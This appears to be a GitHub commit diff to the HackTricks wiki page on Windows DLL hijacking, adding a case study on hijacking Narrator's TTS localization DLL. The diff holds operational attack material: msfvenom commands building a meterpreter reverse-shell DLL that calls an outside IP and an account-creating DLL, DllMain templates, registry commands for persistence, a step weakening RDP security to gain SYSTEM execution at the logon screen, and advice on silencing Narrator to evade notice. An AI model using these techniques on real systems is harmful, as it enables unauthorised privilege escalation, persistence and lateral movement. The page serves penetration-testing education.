Skip to content

Commit cc44802

Browse files
author
HackTricks News Bot
committed
Add content from: Hack-cessibility: When DLL Hijacks Meet Windows Helpers
1 parent e77a089 commit cc44802

File tree

1 file changed

+73
-14
lines changed
  • src/windows-hardening/windows-local-privilege-escalation/dll-hijacking

1 file changed

+73
-14
lines changed

src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md

Lines changed: 73 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ and just show the **File System Activity**:
3131
![](<../../../images/image (153).png>)
3232

3333
If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\
34-
If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "\<exec name>", execute it, and stop capturing events**.
34+
If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" `<exec name>`, execute it, and stop capturing events**.
3535

3636
## Exploiting Missing Dlls
3737

@@ -76,6 +76,9 @@ Notes/limitations
7676

7777
Minimal C example (ntdll, wide strings, simplified error handling):
7878

79+
<details>
80+
<summary>Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath</summary>
81+
7982
```c
8083
#include <windows.h>
8184
#include <winternl.h>
@@ -147,6 +150,8 @@ int wmain(void) {
147150
}
148151
```
149152
153+
</details>
154+
150155
Operational usage example
151156
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
152157
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
@@ -187,7 +192,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F
187192
188193
You can also check the imports of an executable and the exports of a dll with:
189194
190-
```c
195+
```bash
191196
dumpbin /imports C:\path\Tools\putty\Putty.exe
192197
dumpbin /export /path/file.dll
193198
```
@@ -233,14 +238,17 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
233238
234239
**Create a user (x86 I didn't see a x64 version):**
235240
236-
```
241+
```bash
237242
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
238243
```
239244
240245
### Your own
241246
242247
Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
243248
249+
<details>
250+
<summary>C DLL template (Win10)</summary>
251+
244252
```c
245253
// Tested in Win10
246254
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@@ -262,6 +270,8 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
262270
}
263271
```
264272
273+
</details>
274+
265275
```c
266276
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
267277
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
@@ -276,6 +286,9 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
276286
}
277287
```
278288
289+
<details>
290+
<summary>C++ DLL example with user creation</summary>
291+
279292
```c
280293
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
281294
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
@@ -296,6 +309,11 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
296309
}
297310
```
298311
312+
</details>
313+
314+
<details>
315+
<summary>Alternate C DLL with thread entry</summary>
316+
299317
```c
300318
//Another possible DLL
301319
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
@@ -322,6 +340,54 @@ BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReser
322340
}
323341
```
324342
343+
</details>
344+
345+
## Case Study: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
346+
347+
Windows Narrator.exe still probes a predictable, language-specific localization DLL on start that can be hijacked for arbitrary code execution and persistence.
348+
349+
Key facts
350+
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
351+
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
352+
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.
353+
354+
Discovery with Procmon
355+
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
356+
- Start Narrator and observe the attempted load of the above path.
357+
358+
Minimal DLL
359+
```c
360+
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
361+
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
362+
if (r == DLL_PROCESS_ATTACH) {
363+
// Optional OPSEC: DisableThreadLibraryCalls(h);
364+
// Suspend/quiet Narrator main thread, then run payload
365+
// (see PoC for implementation details)
366+
}
367+
return TRUE;
368+
}
369+
```
370+
371+
OPSEC silence
372+
- A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (`OpenThread(THREAD_SUSPEND_RESUME)`) and `SuspendThread` it; continue in your own thread. See PoC for full code.
373+
374+
Trigger and persistence via Accessibility configuration
375+
- User context (HKCU): `reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f`
376+
- Winlogon/SYSTEM (HKLM): `reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f`
377+
- With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.
378+
379+
RDP-triggered SYSTEM execution (lateral movement)
380+
- Allow classic RDP security layer: `reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f`
381+
- RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
382+
- Execution stops when the RDP session closes—inject/migrate promptly.
383+
384+
Bring Your Own Accessibility (BYOA)
385+
- You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set `configuration` to that AT name. This proxies arbitrary execution under the Accessibility framework.
386+
387+
Notes
388+
- Writing under `%windir%\System32` and changing HKLM values requires admin rights.
389+
- All payload logic can live in `DLL_PROCESS_ATTACH`; no exports are needed.
390+
325391
## Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
326392
327393
This case demonstrates **Phantom DLL Hijacking** in Lenovo's TrackPoint Quick Menu (`TPQMAssistant.exe`), tracked as **CVE-2025-1729**.
@@ -356,23 +422,16 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
356422
3. If an administrator is logged in when the task executes, the malicious DLL runs in the administrator's session at medium integrity.
357423
4. Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges.
358424
359-
### Mitigation
360-
361-
Lenovo released UWP version **1.12.54.0** via the Microsoft Store, which installs TPQMAssistant under `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, removes the vulnerable scheduled task, and uninstalls the legacy Win32 components.
362-
363425
## References
364426
365427
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
366428
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
367-
368-
369429
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
370430
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
371-
372-
373431
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
432+
- [TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers](https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers)
433+
- [PoC – api0cradle/Narrator-dll](https://github.com/api0cradle/Narrator-dll)
434+
- [Sysinternals Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
374435
375436
376-
{{#include ../../../banners/hacktricks-training.md}}
377-
378-
437+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)